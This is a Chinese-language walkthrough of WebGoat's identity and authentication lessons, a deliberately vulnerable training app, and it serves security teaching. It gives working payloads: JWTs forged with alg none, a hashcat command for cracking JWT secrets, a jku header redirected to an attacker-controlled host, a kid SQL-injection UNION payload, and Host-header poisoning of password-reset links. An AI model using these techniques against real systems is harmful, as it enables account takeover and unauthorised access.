WebGoat全通关:A7-Identity-and-Auth-Failure

Authentication Bypass #

认证绕过,一般是服务端实现上的逻辑漏洞

实验:绕过 2FA #

本实验模拟了一个重设密码时的 2FA 认证,攻击者需要绕过密码恢复问题

抓包

一般后端验证的逻辑流程如下:

  1. 从请求参数获取输入
  2. 从数据库获取答案
  3. 比较

但如果对应的请求参数不存在或者数据库无法连接,后端验证的控制器将陷入默认行为

最常见的错误:默认不鉴权

所以这里先尝试删掉这两个请求参数,但返回 ‘Not quite’

其实思路是对的,但需要更脑洞一些:有没有可能漏洞仍然存在,但后端进行了空值检查?

再将两个参数改成 secQuestion2secQuestion3,成功

从源码看更容易理解

  public boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) {
    // short circuit if no questions are submitted
    if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {
      return false;
    }

    if (submittedQuestions.containsKey("secQuestion0")
        && !submittedQuestions
            .get("secQuestion0")
            .equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) {
      return false;
    }

    if (submittedQuestions.containsKey("secQuestion1")
        && !submittedQuestions
            .get("secQuestion1")
            .equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) {
      return false;
    }

    // else
    return true;
  }

Insecure Login #

这个实验只是展示在不安全信道上明文传输凭据的错误做法

{"username":"CaptainJack","password":"BlackPearl"}

JWT Tokens #

JSON Web Token 是一种新兴的认证模式 RFC 7519,由客户端发起声称而不是由服务端维护会话

一般通过 Authorization: Bearer xxxx 或者 cookie 传递

JWT 的 X.Y.Z 结构 #

X 为头部,规定算法,例如

{
  "alg": "HS256",
  "typ": "JWT"
}

Y 为断言,携带信息

JWT 的 RFC 规定了一部分共有的断言例如 iat (issued at)

同样用户也可以自定义私有断言例如 user_id

这个地方的灵活性很大,例如

{
  "sub": "1234567890",
  "name": "John Doe",
  "admin": true,
  "iat": 1516239022
}

Z 为秘密,虽然说标准要求它长度大于等于 256 但其实也不用的

例如 a-quick-brown-fox-jumps-over-the-lazy-dog

以上三个例子对应的 JWT 是

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.T4DvvZ3406Np3VFAKTO9fxxAZes2QCT9juieF8chp6A

解释如下:

JWT 是用 . 分割的,第一段和第二段分别是头部和断言使用 Base64URL 加密的结果

Base64URL 是 Base64 的变体,专门用于 URL 传输,区别在于:

  • - 替换 +
  • _ 替换 /
  • 删掉所有用于填充的 =

解码时只要用 = 填充到 4 的倍长即可

而最后一段是第一段和第二段用 . 链接起来之后以秘密为密钥,然后送入 HMAC-SHA256 的结果(同样被 Base64URL 编码)

header=b'{"alg":"HS256","typ":"JWT"}'
claims=b'{"sub":"1234567890","name":"John Doe","admin":true,"iat":1516239022}'
secret=b'a-quick-brown-fox-jumps-over-the-lazy-dog'
x=base64.urlsafe_b64encode(header).strip(b'=')
y=base64.urlsafe_b64encode(claims).strip(b'=')
z=base64.urlsafe_b64encode(hmac.new(secret,x+b'.'+y,sha256).digest()).strip(b'=')

x=b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9'

y=b'eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0'

z=b'T4DvvZ3406Np3VFAKTO9fxxAZes2QCT9juieF8chp6A'

上面可以看到一个华点:JWT 只提供了完整性不提供机密性!

第一个实验:读出用户名 #

eyJhbGciOiJIUzI1NiJ9.ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9.9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI

直接解码即可(上面提到 JWT 不提供机密性)

x=b'ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9'
x+=b'='*((4-len(x))%4)
json.loads(base64.urlsafe_b64decode(x))
{'authorities': ['ROLE_ADMIN', 'ROLE_USER'], 'client_id': 'my-client-with-secret', 'exp': 1607099608, 'jti': '9bc92a44-0b1a-4c5e-be70-da52075b9a84', 'scope': ['read', 'write'], 'user_name': 'user'}

第二个实验:伪造 JWT #

需要攻打的接口:

简单看一下这里 JWT 的格式

需要把 admin 改为 true

绕过 HS512 显然是不可能的,但是回顾一下 RFC 里要求的 MAC 算法

“alg” (Algorithm) Header Parameter Values for JWS

可以看到算法是可以标为 none

eyJhbGciOiJub25lIn0.eyJpYXQiOjE3NDM4NzEzMTUsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJTeWx2ZXN0ZXIifQ.

第三个实验:选择题 #

它实际上就是在说:如果第三个部分为空(形如 X.Y.)

那么 parse 函数就会略过验证,即使 alg 不为 none 也会略过!

所以一定要用 parseClaimsJws 函数

Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parseClaimsJws(accessToken);

第四个实验:将给定 JWT 的用户名改成 ‘WebGoat’ #

hashcat 是提供 JWT 爆破的,模式号 16500

hashcat -m 16500 ./jwt /usr/share/wordlists/rockyou.txt

business

除了需要改用户名还要改时间不然会显示过期

笔者采用的方式是先让 jwt.io 随便拿一个 key 生成前面的 Base64URL,然后用 python 手动签名

y=urlsafe_b64encode(hmac.new(b"business",x,sha256).digest()).strip(b'=')

更新令牌 #

对于一些用于 API 调用的 JWT 它的过期时间非常短

有一种和会话折中的办法:更新令牌

当用户认证时将会获取一个更新令牌

用户可以通过更新令牌向服务器要一个访问令牌 (JWT)

这样服务器只需要在访问令牌过期之后查询自己的存储而不用频繁维护会话

第四个实验:零元购

购买物品但是让 Tom 买单,即我们要将 JWT 伪造成 Tom 的达到 CSRF

log.txt 泄漏了一个 Tom 以前的 JWT

并且还提示了一个接口 login

刷新页面并找到以 Jerry 访问这个接口的记录

那么可以尝试这样的逻辑漏洞:服务端不对 JWT 的归属做检查

即某人的 refresh token 可以被用来更新另一个人的 JWT

这个实验的描述写的很烂,实际上更新 token 的接口叫 newToken 描述里根本没有

还是翻阅源码找到的

Tom 的老 token 加上 Jerry 的 refresh token

使用 Tom 的新 Token

JWT 拓展头 #

非对称加密的好处在于人人皆可验证,然而不可能把公钥放在 JWT 里

为了解决这个问题,JWT 标准提供一个拓展头 jku

形如 "jku": "https://example.com/.well-known/jwks.json"

验证时使用从 jku 指示的公钥进行验证即可

第五个实验:替换 RSA 密钥 #

jku 是写在 JWT 头里的,受到实验者控制

如果服务端不对 jku 的域名做检查,可以将它指向实验者控制的域名

第一步:生成 RSA 密钥

openssl genrsa -out rsa.pem 2048

openssl rsa -in rsa.pem -pubout -out rsa.crt

第二步:生成 jwks.json

{"keys":
	[
		{
			"kty": "RSA",
			"kid": "hrN5OfU9v9b5yQkxhiKaEryzpuiFYZMFVbnD-EpyGF4",
			"n": "i4ii1nhYkvlBDclKXsu9DO7XezdDCSEiEsiOuP2RyLerfS6e8xHUGtWKpvTeSWgMRdR3unhCtGe0VnA60niOrZhDHNkug--4K3cI-yUiKX4aIc4_ccuKtCAnqkXAXWsL_CytZ_EiopzVSytB0hA7MhgqDr72OBrKumebUtkVVHt9Y_7fH7A-4g1WX4V5ysfWF_sgV-yoaxN806Y1gMKJjOdzl1HxHM7hw7GTVs5Z4pZIffJtlqdF_vZ3hF_QVFjJ_bpoaz8Blshfm_cv5bfYTrDHN93SGrj0pOPacT8EA7dztFGp_mc8rxiGAifJsohFoZlWw3x_6p8lpdE7P9_tuQ",
			"e": "AQAB",
			"use": "sig",
			"alg": "RS256"
		}
	]
}

就是一个列表,其中用 kid 索引了不同的公钥

这里给出生成这个文件的 Python 代码

from jwcrypto import jwk
import json
import sys

def get_private_key(pemfile):
    with open(pemfile,"rb") as fp:
        pem=fp.read()
        key=jwk.JWK.from_pem(pem)
    return key

def gen_jwks(pemfile):
    k=get_private_key(pemfile)
    print(k.get("kid"))
    ks=jwk.JWKSet()
    ks.add(k)
    kd=ks.export(private_keys=False,as_dict=True)
    for k in kd['keys']:
      k["use"]="sig"
      k["alg"]="RS256"

    with open("jwks.json","w") as fp:
        json.dump(kd,fp)
    return ks

可以看到 kidhrN5OfU9v9b5yQkxhiKaEryzpuiFYZMFVbnD-EpyGF4

第三步:修改 JWT

需要修改的地方有四处

  1. 将用户名改为 Tom
  2. 过期时间随便延长一点
  3. jku 改成 http://192.168.3.7:8888/jwks.json
  4. 在断言中添加 kid(要和上面一样)

第六个实验:kid 相关的伪造 #

kid 的目的是让服务端快速地找到用于验证的密钥

至于实现方法可以有很多种,可以像上一个实验中一样匹配,也可以用下划线分割表示目录结构如 dir_path_abcd 指向 ./dir/path/abcd

打法:路径穿越去读一个内容固定的文件比如 /proc/sys/kernel/randomize_va_space,它恒定为 2

甚至可以通过 SQL 查询

打法:SQL 注入然后 UNION SELECT 一个固定值

                          ResultSet rs =
                              connection
                                  .createStatement()
                                  .executeQuery(
                                      "SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
                          while (rs.next()) {
                            return TextCodec.BASE64.decode(rs.getString(1));
                          }

"kid": "x'or 1=1--"

Not a valid JWT token, please try again

"kid": "x'or 1=0--"

java.lang.IllegalArgumentException: Missing argument

这说明此处存在基于错误的注入点

想要过关只需要 UNION SELECT 一个受到我们控制的 key 即可

选择 key 为 32 个 a

YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWE=

"kid": "x' UNION SELECT 'YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWE=' FROM INFORMATION_SCHEMA.SYSTEM_USERS;--"

之所以要加 FROM INFORMATION_SCHEMA.SYSTEM_USERS 是因为这该死的后端是 HyperSQL

eyJ0eXAiOiJKV1QiLCJraWQiOiJ4JyBVTklPTiBTRUxFQ1QgJ1lXRmhZV0ZoWVdGaFlXRmhZV0ZoWVdGaFlXRmhZV0ZoWVdGaFlXRmhZV0U9JyBGUk9NIElORk9STUFUSU9OX1NDSEVNQS5TWVNURU1fVVNFUlM7LS0iLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTgxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.An-1_iLMNd6DmJKCR-vPLx8ttjemHYPZXirz4GzahPQ

说句实话 WebGoat 的 JWT 实验像是半成品

给的信息太少了不得不白盒,newToken 接口和 HyperSQL 注入真的很难 fuzz 出来

Password Reset #

密码找回链接需要:

  • 唯一且随机化
  • 不可重放(只能使用一次)
  • 有时效性

实验:改掉 tom@webgoat-cloud.org 的密码 #

先正常请求

reset 页面请求格式:

reset 请求格式:

现在考虑生成请求链接的逻辑

一般而言 URL 的地址部分要么预定义为服务器的域名,要么使用预定义的地址

而这里的 127.0.0.1:8080 显然不是预定义的

Host 改成 www.example.com 试试看

在 WebWolf 里查看邮件:

显然,服务端只是单纯提取请求中的 Host 字段来生成请求链接

实验描述中提到 tom 一旦看到链接就一定会发送请求

可以考虑类似 CSRF 的回显打法:将 IP 地址改为攻击机然后从请求中读出链接的随机码

拦截 /WebGoat/PasswordReset/ForgotPassword/create-password-reset-link

然后将 Host127.0.0.1:8080 改为 127.0.0.1:9090

这样将会使 tom 发送链接到 WebWolf

得到随机码之后向 /WebGoat/PasswordReset/reset/change-password 发送请求即可

Secure Passwords #

这个实验展示了使用弱口令的危害,过关需要输入一个强口令

直接在 diceware 上生成一串随机词语即可